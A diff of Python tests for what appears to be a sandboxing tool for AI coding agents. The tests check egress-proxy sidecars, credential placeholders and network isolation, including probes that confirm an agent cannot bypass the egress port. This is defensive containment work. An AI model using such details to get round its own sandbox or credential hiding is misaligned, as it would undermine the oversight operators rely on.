-                    # the bundle. A bare CONNECT with no upstream
+                    # shape) should reach pipelock inside the
-                    # URL gets rejected with 400 or 405 but proves
+                    # bundle. We probe by asking for the proxy's
-                    # the listener is alive at the alias.
+                    # listening port from inside the agent.
                    probe = bottle.exec(
                        "set -eu\n"
                        "echo HTTPS_PROXY=$HTTPS_PROXY\n"
                        "PORT=$(echo \"$HTTPS_PROXY\" | sed -E 's|.*:([0-9]+).*|\\1|')\n"
                        "HOST=$(echo \"$HTTPS_PROXY\" | sed -E 's|http://([^:]+):.*|\\1|')\n"
                        "echo HOST=$HOST PORT=$PORT\n"
                        # nc is not in the agent image but curl is —
                        # a CONNECT with no upstream URL will get
                        # rejected by pipelock with 400 or 405 but
                        # confirms the listener is alive at the
                        # alias.
                        "curl -sS --max-time 5 -o /dev/null -w 'http=%{http_code}\\n' "
                        "  \"http://$HOST:$PORT/\" || true\n"
                    )
@@ -91,10 +98,11 @@ class TestSidecarBundleCompose(unittest.TestCase):
            shutil.rmtree(stage_dir, ignore_errors=True)
        self.assertEqual(0, probe.returncode, msg=probe.stderr)
-        # egress answered SOMETHING — any 4xx is fine, just proves
+        # pipelock answered SOMETHING — any 4xx is fine, just proves
-        # the egress daemon is listening at the proxy address.
+        # the bundle's pipelock daemon is listening at the
        # `pipelock` alias on port 8888 (or whatever the env says).
        self.assertIn("http=", probe.stdout,
-                      f"no HTTP response from egress: {probe.stdout!r}")
+                      f"no HTTP response from pipelock: {probe.stdout!r}")
        # supervise's /health endpoint exists (PRD 0013); it should
        # answer 200 or similar — anything non-empty proves the
        # third daemon's alias resolves to the same bundle.
@@ -1,15 +1,15 @@
 """Integration: PRD 0024 chunk 1 — the sidecar bundle image builds
-and the daemon binaries are present + executable inside it.
+and the four daemon binaries are present + executable inside it.
 This test does NOT exercise the daemons running against real
-config (routes.yaml, etc) — that lands in chunk 2 when the
+config (pipelock.yaml, routes.yaml, etc) — that lands in chunk 2
-renderer wires the bundle into compose. What we verify here is
+when the renderer wires the bundle into compose. What we verify
-the chunk-1 contract:
+here is the chunk-1 contract:
  - Dockerfile.sidecars builds (multi-stage works, base layers
    pull, COPYs resolve).
-  - gitleaks, mitmdump are at the documented paths and answer
+  - pipelock, gitleaks, mitmdump are at the documented paths and
-    `--version`.
+    answer `--version`.
  - The Python init at /app/sidecar_init.py runs and prints the
    expected "no daemons selected" line when the supervisor is
    pointed at an empty daemon set.
@@ -74,6 +74,11 @@ class TestSidecarBundleImage(unittest.TestCase):
        )
        return proc.returncode, proc.stdout.decode("utf-8", errors="replace")
    def test_pipelock_binary_present_and_versioned(self):
        rc, out = self._run_in_image("/usr/local/bin/pipelock", "version")
        self.assertEqual(0, rc, msg=out)
        self.assertIn("pipelock version", out)
    def test_gitleaks_binary_present_and_versioned(self):
        rc, out = self._run_in_image("/usr/bin/gitleaks", "version")
        self.assertEqual(0, rc, msg=out)
@@ -12,6 +12,7 @@ localhost-reach / egress-port-bypass probes) lives in chunk 2d."""
 from __future__ import annotations
 import json
 import os
 import subprocess
 import time
@@ -81,9 +82,13 @@ class TestBundleBringup(unittest.TestCase):
            subnet=subnet,
            gateway=gateway,
            bundle_ip=bundle_ip,
-            # Empty daemons_csv → init exits "no daemons selected"
+            # Only run the pipelock daemon for this smoke — it's
-            # immediately. We just need the container to land on
+            # the lightest of the four and doesn't need bind
-            # the network at the right IP before it exits.
+            # mounts beyond what we'd skip without
            # BOT_BOTTLE_SIDECAR_DAEMONS. (The init
            # supervisor will exit if pipelock fails to find its
            # yaml — that's expected here; we just need the
            # container to land on the network at the right IP.)
            daemons_csv="",  # empty → init exits "no daemons selected"
        )
        start_bundle(spec)
@@ -124,6 +124,32 @@ class TestSmolmachinesLaunch(unittest.TestCase):
            f"expected a connect-refusal message; got: {r.stdout!r}",
        )
    def test_pipelock_answers_on_bundle_ip(self):
        # Chunk 4b: the bundle's pipelock daemon is now actually
        # running (was daemons_csv="" in chunks 2d/3). From inside
        # the guest, a TCP connect to <bundle-ip>:8888 must succeed
        # — distinct from the egress-port-bypass probe below where
        # the connect must FAIL.
        #
        # We don't try to speak proxy protocol here — pipelock will
        # 4xx a bare GET — we just verify the socket answers.
        r = self.bottle.exec(
            f"wget -T 5 -t 1 -O - http://{self.plan.bundle_ip}:8888/ "
            "2>&1 || true"
        )
        # Any HTTP response (even a 4xx) proves pipelock is up.
        # "connection refused" / "unable to connect" / "timed out"
        # would mean it isn't.
        msg = r.stdout.lower()
        self.assertNotIn(
            "connection refused", msg,
            f"pipelock connect refused — daemon not listening? {r.stdout!r}",
        )
        self.assertNotIn(
            "timed out", msg,
            f"pipelock connect timed out: {r.stdout!r}",
        )
    def test_prompt_file_lands_in_guest(self):
        # provision_prompt copies the host-side prompt.txt into the
        # guest at /root/.bot-bottle-prompt.txt. The content
@@ -11,12 +11,13 @@ from pathlib import Path
 from bot_bottle.agent_provider import (
    CODEX_HOST_CREDENTIAL_HOSTS,
    agent_provision_plan,
    runtime_for,
 )
 from bot_bottle.egress import CODEX_HOST_CREDENTIAL_TOKEN_REF
 def _jwt(exp: int) -> str:
-    def enc(obj: dict[str, object]) -> str:  # type: ignore
+    def enc(obj: dict) -> str:
        raw = json.dumps(obj, separators=(",", ":")).encode()
        return base64.urlsafe_b64encode(raw).decode().rstrip("=")
    return f"{enc({'alg': 'none'})}.{enc({'exp': exp})}.sig"
@@ -101,6 +102,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
        self.assertEqual("api.anthropic.com", route.host)
        self.assertEqual("Bearer", route.auth_scheme)
        self.assertEqual("BOT_BOTTLE_CLAUDE_OAUTH_TOKEN", route.token_ref)
        self.assertTrue(route.tls_passthrough)
        self.assertEqual("egress-placeholder", plan.env_vars["CLAUDE_CODE_OAUTH_TOKEN"])
        self.assertEqual("1", plan.env_vars["CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC"])
        self.assertEqual("1", plan.env_vars["DISABLE_ERROR_REPORTING"])
@@ -142,6 +144,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
        for r in plan.egress_routes:
            self.assertEqual("Bearer", r.auth_scheme)
            self.assertEqual(CODEX_HOST_CREDENTIAL_TOKEN_REF, r.token_ref)
            self.assertTrue(r.tls_passthrough)
    def test_codex_without_forward_host_credentials_has_passthrough_egress_routes(self):
        with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
@@ -159,6 +162,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
        for r in plan.egress_routes:
            self.assertEqual("", r.auth_scheme)
            self.assertEqual("", r.token_ref)
            self.assertTrue(r.tls_passthrough)
    def test_claude_without_auth_token_has_passthrough_egress_route(self):
        with tempfile.TemporaryDirectory(prefix="bb-provider.") as tmp:
@@ -173,6 +177,7 @@ class TestAgentProviderRuntime(unittest.TestCase):
        self.assertEqual("api.anthropic.com", route.host)
        self.assertEqual("", route.auth_scheme)
        self.assertEqual("", route.token_ref)
        self.assertTrue(route.tls_passthrough)
        self.assertNotIn("CLAUDE_CODE_OAUTH_TOKEN", plan.env_vars)
        self.assertEqual(frozenset(), plan.hidden_env_names)
@@ -14,7 +14,7 @@ from __future__ import annotations
 import subprocess
 import unittest
 from typing import Callable
-from unittest.mock import patch
+from unittest.mock import MagicMock, call, patch
 # ---------------------------------------------------------------------------
@@ -175,9 +175,9 @@ class TestExecUserSwitching(unittest.TestCase):
 class TestExecResultParity(unittest.TestCase):
    """Both backends return ExecResult with returncode, stdout, stderr."""
-    def _stub_run(self, argv: object, **kwargs: object) -> object:  # type: ignore
+    def _stub_run(self, argv, **kwargs):
        return subprocess.CompletedProcess(
-            argv, 0, stdout="out\n", stderr="err\n",  # type: ignore
+            argv, 0, stdout="out\n", stderr="err\n",
        )
    def test_docker_exec_result_shape(self):
@@ -57,7 +57,7 @@ class TestEnumerateActiveAgents(unittest.TestCase):
    def test_concatenates_per_backend(self):
        a = ActiveAgent(
            backend_name="docker", slug="a-1", agent_name="impl",
-            started_at="", services=("egress",),
+            started_at="", services=("pipelock",),
        )
        b = ActiveAgent(
            backend_name="smolmachines", slug="b-2", agent_name="research",
@@ -65,7 +65,7 @@ class TestEnumerateActiveAgents(unittest.TestCase):
        )
        class _FakeBackend:
-            def __init__(self, items: object, available: object = True) -> None:  # type: ignore
+            def __init__(self, items, available=True):
                self._items = items
                self._available = available
@@ -100,13 +100,13 @@ class TestEnumerateActiveAgents(unittest.TestCase):
        )
        class _FakeBackend:
-            def __init__(self, items: object) -> None:  # type: ignore
+            def __init__(self, items):
                self._items = items
-            def is_available(self) -> bool:
+            def is_available(self):
                return True
-            def enumerate_active(self) -> object:
+            def enumerate_active(self):
                return self._items
        with patch.object(
@@ -150,11 +150,11 @@ class TestEnumerateActiveAgents(unittest.TestCase):
        )
        class _FakeBackend:
-            def __init__(self, items: object, available: object) -> None:  # type: ignore
+            def __init__(self, items, available):
                self._items = items
                self._available = available
-            def is_available(self) -> object:
+            def is_available(self):
                return self._available
            def enumerate_active(self):
@@ -67,13 +67,13 @@ class TestApplyCapabilityChange(_FakeHomeMixin, unittest.TestCase):
        self._orig_push = capability_apply._push_working_tree
        self._orig_teardown = capability_apply._teardown_bottle
-        def stub_snapshot(slug: object) -> None:  # type: ignore
+        def stub_snapshot(slug):
            self._calls.append(f"snapshot:{slug}")
-        def stub_push(slug: object) -> None:  # type: ignore
+        def stub_push(slug):
            self._calls.append(f"push:{slug}")
-        def stub_teardown(slug: object) -> None:  # type: ignore
+        def stub_teardown(slug):
            self._calls.append(f"teardown:{slug}")
        capability_apply.snapshot_transcript = stub_snapshot  # type: ignore[assignment]
@@ -6,6 +6,7 @@ the operator confirms.  Mocks the backends and stdin."""
 from __future__ import annotations
 import sys
 import unittest
 from unittest.mock import patch, MagicMock
@@ -31,7 +32,7 @@ class TestCmdCleanup(unittest.TestCase):
            return_value=("docker", "smolmachines"),
        ), patch.object(
            cmd, "get_bottle_backend",
-            side_effect=lambda name: backends_by_name[name],  # type: ignore
+            side_effect=lambda name: backends_by_name[name],
        ), patch.object(
            cmd, "_prompt_yes", return_value=True,
        ):
@@ -52,7 +53,7 @@ class TestCmdCleanup(unittest.TestCase):
            return_value=("docker", "smolmachines"),
        ), patch.object(
            cmd, "get_bottle_backend",
-            side_effect=lambda name: backends_by_name[name],  # type: ignore
+            side_effect=lambda name: backends_by_name[name],
        ), patch.object(
            cmd, "_prompt_yes",
        ) as prompt:
@@ -71,7 +72,7 @@ class TestCmdCleanup(unittest.TestCase):
            return_value=("docker", "smolmachines"),
        ), patch.object(
            cmd, "get_bottle_backend",
-            side_effect=lambda name: backends_by_name[name],  # type: ignore
+            side_effect=lambda name: backends_by_name[name],
        ), patch.object(
            cmd, "_prompt_yes", return_value=False,
        ):
@@ -91,7 +92,7 @@ class TestCmdCleanup(unittest.TestCase):
            return_value=("docker", "smolmachines"),
        ), patch.object(
            cmd, "get_bottle_backend",
-            side_effect=lambda name: backends_by_name[name],  # type: ignore
+            side_effect=lambda name: backends_by_name[name],
        ), patch.object(
            cmd, "_prompt_yes", return_value=True,
        ):
@@ -1,141 +0,0 @@
 """Unit: cmd_start selector dispatch (PRD 0051).
 Tests that cmd_start calls filter_select when name / backend are absent,
 skips them when both are explicit, and returns 0 on cancel.
 All actual launch work is stubbed so no container is created.
 """
 from __future__ import annotations
 import os
 import unittest
 from unittest.mock import MagicMock, patch
 import bot_bottle.cli.start as start_mod
 import bot_bottle.cli.tui as tui_mod
 def _make_manifest(agent_names: list[str]):
    manifest = MagicMock()
    manifest.agents = {name: MagicMock() for name in agent_names}
    return manifest
 class TestCmdStartSelector(unittest.TestCase):
    """Drive cmd_start with a minimal set of stubs."""
    def setUp(self):
        # Stub Manifest.resolve so no on-disk manifest is needed.
        self._manifest = _make_manifest(["researcher", "implementer"])
        self._resolve_patch = patch(
            "bot_bottle.cli.start.Manifest.resolve",
            return_value=self._manifest,
        )
        self._resolve_patch.start()
        # Stub _launch_bottle so no real container work happens.
        self._launch_patch = patch(
            "bot_bottle.cli.start._launch_bottle",
            return_value=0,
        )
        self._launch_mock = self._launch_patch.start()
        # Stub filter_select to avoid opening /dev/tty.
        self._tui_patch = patch.object(tui_mod, "filter_select")
        self._tui_mock = self._tui_patch.start()
        # Ensure BOT_BOTTLE_BACKEND is absent so the backend picker fires.
        self._env_patch = patch.dict(os.environ, {}, clear=False)
        self._env_patch.start()
        os.environ.pop("BOT_BOTTLE_BACKEND", None)
    def tearDown(self):
        self._resolve_patch.stop()
        self._launch_patch.stop()
        self._tui_patch.stop()
        self._env_patch.stop()
    # ------------------------------------------------------------------
    # Both explicit — no picker shown
    # ------------------------------------------------------------------
    def test_both_explicit_skips_picker(self):
        self._tui_mock.return_value = "researcher"
        rc = start_mod.cmd_start(["--backend=docker", "researcher"])
        self.assertEqual(0, rc)
        self._tui_mock.assert_not_called()
        self._launch_mock.assert_called_once()
        _, kwargs = self._launch_mock.call_args
        self.assertEqual("docker", kwargs["backend_name"])
    # ------------------------------------------------------------------
    # Agent absent → agent picker fires; backend explicit
    # ------------------------------------------------------------------
    def test_agent_absent_shows_agent_picker(self):
        self._tui_mock.return_value = "researcher"
        rc = start_mod.cmd_start(["--backend=docker"])
        self.assertEqual(0, rc)
        self._tui_mock.assert_called_once()
        call_kwargs = self._tui_mock.call_args
        self.assertEqual(["implementer", "researcher"], call_kwargs[0][0])
        self.assertIn("agent", call_kwargs[1]["title"].lower())
    def test_agent_picker_cancel_returns_0(self):
        self._tui_mock.return_value = None
        rc = start_mod.cmd_start(["--backend=docker"])
        self.assertEqual(0, rc)
        self._launch_mock.assert_not_called()
    # ------------------------------------------------------------------
    # Agent explicit, backend absent → backend picker fires
    # ------------------------------------------------------------------
    def test_backend_absent_shows_backend_picker(self):
        self._tui_mock.return_value = "docker"
        rc = start_mod.cmd_start(["researcher"])
        self.assertEqual(0, rc)
        self._tui_mock.assert_called_once()
        call_kwargs = self._tui_mock.call_args
        self.assertIn("backend", call_kwargs[1]["title"].lower())
    def test_backend_picker_cancel_returns_0(self):
        self._tui_mock.return_value = None
        rc = start_mod.cmd_start(["researcher"])
        self.assertEqual(0, rc)
        self._launch_mock.assert_not_called()
    def test_bot_bottle_backend_env_skips_backend_picker(self):
        os.environ["BOT_BOTTLE_BACKEND"] = "docker"
        try:
            rc = start_mod.cmd_start(["researcher"])
        finally:
            os.environ.pop("BOT_BOTTLE_BACKEND", None)
        self.assertEqual(0, rc)
        self._tui_mock.assert_not_called()
    # ------------------------------------------------------------------
    # Both absent → agent picker then backend picker
    # ------------------------------------------------------------------
    def test_both_absent_shows_both_pickers_in_order(self):
        self._tui_mock.side_effect = ["researcher", "docker"]
        rc = start_mod.cmd_start([])
        self.assertEqual(0, rc)
        self.assertEqual(2, self._tui_mock.call_count)
        first_title = self._tui_mock.call_args_list[0][1]["title"].lower()
        second_title = self._tui_mock.call_args_list[1][1]["title"].lower()
        self.assertIn("agent", first_title)
        self.assertIn("backend", second_title)
    def test_both_absent_agent_cancel_skips_backend_picker(self):
        self._tui_mock.side_effect = [None]
        rc = start_mod.cmd_start([])
        self.assertEqual(0, rc)
        self.assertEqual(1, self._tui_mock.call_count)
        self._launch_mock.assert_not_called()
 if __name__ == "__main__":
    unittest.main()
@@ -36,7 +36,7 @@ class TestCaptureSessionState(_FakeHomeMixin, unittest.TestCase):
        # covers the real docker cp path.
        self._snap_calls: list[str] = []
        self._orig_snap = start_mod.snapshot_transcript
-        start_mod.snapshot_transcript = lambda identity: (  # type: ignore
+        start_mod.snapshot_transcript = lambda identity: (
            self._snap_calls.append(identity)
        )
@@ -1,50 +0,0 @@
 """Unit tests for bot_bottle.cli.tui — filter_select internals.
 We test the pure-Python logic (_filter_items, cursor movement, confirm,
 cancel) by exercising the internal helpers directly, without spinning up
 a real curses session (which requires a TTY).
 """
 from __future__ import annotations
 import unittest
 from bot_bottle.cli.tui import _filter_items, filter_select
 class TestFilterItems(unittest.TestCase):
    def setUp(self):
        self.items = ["researcher", "implementer", "codex-researcher", "reviewer"]
    def test_empty_query_returns_all(self):
        self.assertEqual(self.items, _filter_items(self.items, ""))
    def test_query_filters_case_insensitively(self):
        result = _filter_items(self.items, "RESEARCH")
        self.assertEqual(["researcher", "codex-researcher"], result)
    def test_no_match_returns_empty(self):
        self.assertEqual([], _filter_items(self.items, "zzz"))
    def test_partial_match(self):
        result = _filter_items(self.items, "impl")
        self.assertEqual(["implementer"], result)
    def test_empty_items_returns_empty(self):
        self.assertEqual([], _filter_items([], "foo"))
 class TestFilterSelectEmptyItems(unittest.TestCase):
    def test_returns_none_for_empty_list(self):
        # No TTY needed — the short-circuit fires before opening tty.
        result = filter_select([], title="Pick one", tty_path="/dev/null")
        self.assertIsNone(result)
    def test_returns_none_when_tty_unavailable(self):
        # /nonexistent is guaranteed to not open.
        result = filter_select(["a", "b"], tty_path="/nonexistent/tty")
        self.assertIsNone(result)
 if __name__ == "__main__":
    unittest.main()
@@ -21,14 +21,14 @@ def _jwt(exp: int) -> str:
    return _jwt_with_payload({"exp": exp})
-def _jwt_with_payload(payload: dict[str, object]) -> str:  # type: ignore
+def _jwt_with_payload(payload: dict) -> str:
-    def enc(obj: dict[str, object]) -> str:  # type: ignore
+    def enc(obj: dict) -> str:
        raw = json.dumps(obj, separators=(",", ":")).encode()
        return base64.urlsafe_b64encode(raw).decode().rstrip("=")
    return f"{enc({'alg': 'none'})}.{enc(payload)}.sig"
-def _jwt_payload(token: str) -> dict[str, object]:  # type: ignore
+def _jwt_payload(token: str) -> dict:
    payload = token.split(".")[1]
    payload += "=" * (-len(payload) % 4)
    return json.loads(base64.urlsafe_b64decode(payload.encode()).decode())
@@ -43,7 +43,7 @@ class TestCodexHostAccessToken(unittest.TestCase):
    def tearDown(self):
        self.tmp.cleanup()
-    def _write(self, payload: dict[str, object]) -> None:  # type: ignore
+    def _write(self, payload: dict) -> None:
        self.auth_path.write_text(json.dumps(payload))
    def test_auth_path_uses_codex_home(self):
@@ -210,11 +210,11 @@ class TestCodexHostAccessToken(unittest.TestCase):
        access_payload = _jwt_payload(dummy["tokens"]["access_token"])
        auth = access_payload["https://api.openai.com/auth"]
        profile = access_payload["https://api.openai.com/profile"]
-        self.assertEqual("plus", auth["chatgpt_plan_type"])  # type: ignore
+        self.assertEqual("plus", auth["chatgpt_plan_type"])
-        self.assertEqual("acct-real", auth["chatgpt_account_id"])  # type: ignore
+        self.assertEqual("acct-real", auth["chatgpt_account_id"])
-        self.assertEqual("bot-bottle-placeholder", auth["chatgpt_user_id"])  # type: ignore
+        self.assertEqual("bot-bottle-placeholder", auth["chatgpt_user_id"])
-        self.assertEqual("bot-bottle@example.invalid", profile["email"])  # type: ignore
+        self.assertEqual("bot-bottle@example.invalid", profile["email"])
-        self.assertTrue(profile["email_verified"])  # type: ignore
+        self.assertTrue(profile["email_verified"])
    def test_dummy_auth_redacts_unknown_future_auth_fields(self):
        secrets = [
@@ -289,8 +289,8 @@ class TestCodexHostAccessToken(unittest.TestCase):
        self.assertEqual({}, access_payload["future_nested"])
        self.assertEqual([], access_payload["future_list"])
        auth = access_payload["https://api.openai.com/auth"]
-        self.assertEqual("bot-bottle-placeholder", auth["session_context"])  # type: ignore
+        self.assertEqual("bot-bottle-placeholder", auth["session_context"])
-        self.assertEqual({}, auth["nested"])  # type: ignore
+        self.assertEqual({}, auth["nested"])
 if __name__ == "__main__":
@@ -12,7 +12,6 @@ from __future__ import annotations
 import subprocess
 import unittest
 from pathlib import Path
 from typing import Any
 from unittest import mock
 from bot_bottle.agent_provider import AgentProvisionPlan
@@ -32,6 +31,7 @@ from bot_bottle.egress import (
 )
 from bot_bottle.git_gate import GitGatePlan, GitGateUpstream
 from bot_bottle.manifest import Manifest
 from bot_bottle.pipelock import PipelockProxyPlan
 from bot_bottle.supervise import SupervisePlan
 from bot_bottle.workspace import workspace_plan
@@ -45,7 +45,7 @@ def _manifest(*, supervise: bool, with_git: bool, with_egress: bool) -> Manifest
    """Minimal manifest with the toggles the chunk-1 matrix needs.
    The renderer only reads from the plan, not the manifest, so this
    is just here to back BottleSpec."""
-    bottle: dict[str, object] = {}
+    bottle: dict = {}
    if supervise:
        bottle["supervise"] = True
    if with_git:
@@ -79,6 +79,18 @@ def _spec(*, supervise: bool, with_git: bool, with_egress: bool) -> BottleSpec:
    )
 def _proxy_plan() -> PipelockProxyPlan:
    return PipelockProxyPlan(
        yaml_path=STATE / "pipelock.yaml",
        slug=SLUG,
        internal_network=f"bot-bottle-net-{SLUG}",
        internal_network_cidr="10.1.2.0/24",
        egress_network=f"bot-bottle-egress-{SLUG}",
        ca_cert_host_path=STATE / "pipelock-ca" / "ca.pem",
        ca_key_host_path=STATE / "pipelock-ca" / "ca-key.pem",
    )
 def _git_gate_plan(upstreams: tuple[GitGateUpstream, ...] = ()) -> GitGatePlan:
    return GitGatePlan(
        slug=SLUG,
@@ -106,6 +118,8 @@ def _egress_plan(routes: tuple[EgressRoute, ...] = ()) -> EgressPlan:
        egress_network=f"bot-bottle-egress-{SLUG}",
        mitmproxy_ca_host_path=STATE / "egress-ca" / "mitmproxy-ca.pem",
        mitmproxy_ca_cert_only_host_path=STATE / "egress-ca" / "ca.pem",
        pipelock_ca_host_path=STATE / "pipelock-ca" / "ca.pem",
        pipelock_proxy_url="http://127.0.0.1:8888",
    )
@@ -163,6 +177,7 @@ def _plan(
        env_file=Path("/dev/null"),  # exists, size 0 → renderer skips env_file
        forwarded_env={"CLAUDE_CODE_OAUTH_TOKEN": "x"},
        prompt_file=STAGE / "prompt",
        proxy_plan=_proxy_plan(),
        git_gate_plan=_git_gate_plan(upstreams),
        egress_plan=_egress_plan(routes),
        supervise_plan=_supervise_plan() if supervise else None,
@@ -217,15 +232,16 @@ class TestAgentAlwaysPresent(unittest.TestCase):
        s = bottle_plan_to_compose(_plan())["services"]["agent"]
        self.assertEqual({"internal"}, set(s["networks"].keys()))
-    def test_agent_proxy_always_via_egress(self):
+    def test_agent_proxy_via_pipelock_when_no_egress(self):
-        for with_egress in (False, True):
+        s = bottle_plan_to_compose(_plan(with_egress=False))["services"]["agent"]
-            with self.subTest(with_egress=with_egress):
+        env = s["environment"]
-                s = bottle_plan_to_compose(
+        # Looking for HTTPS_PROXY pointing at pipelock's container name.
-                    _plan(with_egress=with_egress)
+        proxy_lines = [e for e in env if e.startswith("HTTPS_PROXY=")]
-                )["services"]["agent"]
+        self.assertEqual(1, len(proxy_lines))
-                proxy_lines = [e for e in s["environment"] if e.startswith("HTTPS_PROXY=")]
+        self.assertEqual(
-                self.assertEqual(1, len(proxy_lines))
+            "HTTPS_PROXY=http://pipelock:8888",
-                self.assertEqual("HTTPS_PROXY=http://egress:9099", proxy_lines[0])
+            proxy_lines[0],
        )
    def test_agent_proxy_via_egress_when_egress_present(self):
        s = bottle_plan_to_compose(_plan(with_egress=True))["services"]["agent"]
@@ -255,13 +271,13 @@ class TestAgentAlwaysPresent(unittest.TestCase):
            dockerfile="",
            guest_env={"CODEX_HOME": "/home/node/.codex"},
        )
-        plan = type(plan)(**{**vars(plan), "agent_provision": provision})  # type: ignore
+        plan = type(plan)(**{**vars(plan), "agent_provision": provision})
        s = bottle_plan_to_compose(plan)["services"]["agent"]
        self.assertIn("CODEX_HOME=/home/node/.codex", s["environment"])
    def test_agent_runsc_runtime(self):
        plan = _plan()
-        plan = type(plan)(**{**vars(plan), "use_runsc": True})  # type: ignore
+        plan = type(plan)(**{**vars(plan), "use_runsc": True})
        s = bottle_plan_to_compose(plan)["services"]["agent"]
        self.assertEqual("runsc", s["runtime"])
@@ -289,12 +305,12 @@ class TestAgentAlwaysPresent(unittest.TestCase):
 class TestSidecarBundleShape(unittest.TestCase):
    """The compose renderer emits exactly one `sidecars` service in
-    place of the daemons it owns (egress + git-gate + supervise).
+    place of the four daemons it owns (pipelock + egress + git-gate
-    PRD 0024 chunk 5 dropped the legacy four-sidecar shape entirely,
+    + supervise). PRD 0024 chunk 5 dropped the legacy four-sidecar
-    so the bundle is the only thing exercised here."""
+    shape entirely, so the bundle is the only thing exercised here."""
-    def _render(self, **plan_kwargs: object) -> Any:  # type: ignore
+    def _render(self, **plan_kwargs):
-        return bottle_plan_to_compose(_plan(**plan_kwargs))  # type: ignore
+        return bottle_plan_to_compose(_plan(**plan_kwargs))
    def test_emits_two_services_minimal(self):
        spec = self._render()
@@ -318,10 +334,13 @@ class TestSidecarBundleShape(unittest.TestCase):
        sc = self._render()["services"]["sidecars"]
        self.assertEqual({"internal", "egress"}, set(sc["networks"].keys()))
-    def test_internal_aliases_include_egress_shortname(self):
+    def test_internal_aliases_cover_pipelock_and_egress_shortnames(self):
        # The agent's HTTPS_PROXY url references either `egress` or
        # `pipelock`. Both must resolve to the bundle.
        sc = self._render()["services"]["sidecars"]
        aliases = set(sc["networks"]["internal"]["aliases"])
        self.assertIn("egress", aliases)
        self.assertIn("pipelock", aliases)
    def test_internal_aliases_omit_inactive_sidecars(self):
        # With no git-gate / supervise, those names are NOT aliased
@@ -339,13 +358,16 @@ class TestSidecarBundleShape(unittest.TestCase):
        self.assertIn("supervise", aliases)
    def test_daemons_csv_lists_only_active(self):
        # Egress + pipelock are always in the daemon set even when
        # the bottle has no routes (egress falls back to regular@9099
        # and is just unused; cheaper than special-casing).
        sc = self._render()["services"]["sidecars"]
        daemons = {
            line.split("=", 1)[1]
            for line in sc["environment"]
            if line.startswith("BOT_BOTTLE_SIDECAR_DAEMONS=")
        }
-        self.assertEqual({"egress"}, daemons)
+        self.assertEqual({"egress,pipelock"}, daemons)
    def test_daemons_csv_expands_with_optional_sidecars(self):
        sc = self._render(with_git=True, supervise=True)["services"]["sidecars"]
@@ -356,13 +378,13 @@ class TestSidecarBundleShape(unittest.TestCase):
        else:
            self.fail("BOT_BOTTLE_SIDECAR_DAEMONS not in env")
        self.assertEqual(
-            ["egress", "git-gate", "supervise"],
+            ["egress", "pipelock", "git-gate", "supervise"],
            csv.split(","),
        )
    def test_bundle_env_does_not_set_https_proxy(self):
        # HTTPS_PROXY at the container level would route git-gate's
-        # git fetches through the proxy. Scoping it to mitmdump is
+        # git fetches through pipelock. Scoping it to mitmdump is
        # the job of egress_entrypoint.sh; the bundle env must not
        # leak it.
        sc = self._render(with_egress=True)["services"]["sidecars"]
@@ -374,15 +396,22 @@ class TestSidecarBundleShape(unittest.TestCase):
                f"bundle env must not set {line!r}",
            )
-    def test_egress_token_env_present_when_routes_declared(self):
+    def test_egress_env_present_when_routes_declared(self):
        sc = self._render(with_egress=True)["services"]["sidecars"]
        env_strings = sc["environment"]
        self.assertTrue(any(
            e.startswith("EGRESS_UPSTREAM_PROXY=") for e in env_strings))
        self.assertTrue(any(
            e.startswith("EGRESS_UPSTREAM_CA=") for e in env_strings))
        # Token env name is forwarded as a bare entry.
        self.assertIn("EGRESS_TOKEN_0", env_strings)
-    def test_egress_token_env_omitted_when_no_routes(self):
+    def test_egress_env_omitted_when_no_routes(self):
        sc = self._render()["services"]["sidecars"]
        env_strings = sc["environment"]
-        self.assertNotIn("EGRESS_TOKEN_0", env_strings)
+        for e in env_strings:
            self.assertFalse(e.startswith("EGRESS_UPSTREAM_PROXY="))
            self.assertFalse(e.startswith("EGRESS_UPSTREAM_CA="))
    def test_supervise_env_present_when_active(self):
        sc = self._render(supervise=True)["services"]["sidecars"]
@@ -391,19 +420,22 @@ class TestSidecarBundleShape(unittest.TestCase):
        self.assertTrue(any(e.startswith("SUPERVISE_QUEUE_DIR=") for e in env_strings))
        self.assertTrue(any(e.startswith("SUPERVISE_PORT=") for e in env_strings))
-    def test_volumes_always_includes_egress_ca(self):
+    def test_volumes_union_minimal_includes_pipelock(self):
        sc = self._render()["services"]["sidecars"]
        targets = {v["target"] for v in sc["volumes"]}
-        self.assertIn("/home/mitmproxy/.mitmproxy/mitmproxy-ca.pem", targets)
+        self.assertIn("/etc/pipelock.yaml", targets)
    def test_volumes_union_full_matrix(self):
        sc = self._render(with_git=True, with_egress=True, supervise=True)[
            "services"]["sidecars"]
        targets = {v["target"] for v in sc["volumes"]}
-        self.assertIn("/home/mitmproxy/.mitmproxy/mitmproxy-ca.pem", targets)
+        # Pipelock + egress + git-gate + supervise paths all
        # present.
        self.assertIn("/etc/pipelock.yaml", targets)
        self.assertIn("/etc/egress/routes.yaml", targets)
        self.assertIn("/git-gate-entrypoint.sh", targets)
        self.assertIn("/git-gate/creds/upstream-known_hosts", targets)
        # supervise queue dir target = QUEUE_DIR_IN_CONTAINER
        self.assertTrue(any("supervise/queue" in t or t.startswith("/run/supervise")
                            for t in targets))
@@ -14,6 +14,7 @@ from unittest.mock import MagicMock, patch
 from bot_bottle.agent_provider import (
    AgentProvisionCommand,
    AgentProvisionDir,
    AgentProvisionFile,
    AgentProvisionPlan,
 )
@@ -23,6 +24,7 @@ from bot_bottle.contrib.claude.agent_provider import ClaudeAgentProvider
 from bot_bottle.egress import EgressPlan
 from bot_bottle.git_gate import GitGatePlan
 from bot_bottle.manifest import Manifest
 from bot_bottle.pipelock import PipelockProxyPlan
 from bot_bottle.supervise import SupervisePlan
 from bot_bottle.workspace import workspace_plan
@@ -51,7 +53,7 @@ def _plan(
    agent_provision: AgentProvisionPlan | None = None,
    supervise: bool = False,
 ) -> DockerBottlePlan:
-    bottle_json: dict = {"agent_provider": {"template": "claude"}}  # type: ignore
+    bottle_json: dict = {"agent_provider": {"template": "claude"}}
    if supervise:
        bottle_json["supervise"] = True
    manifest = Manifest.from_json_obj({
@@ -89,6 +91,9 @@ def _plan(
        env_file=Path("/tmp/agent.env"),
        forwarded_env={},
        prompt_file=Path("/tmp/state/demo-abc12/agent/prompt.txt"),
        proxy_plan=PipelockProxyPlan(
            yaml_path=Path("/tmp/pipelock.yaml"), slug="demo-abc12",
        ),
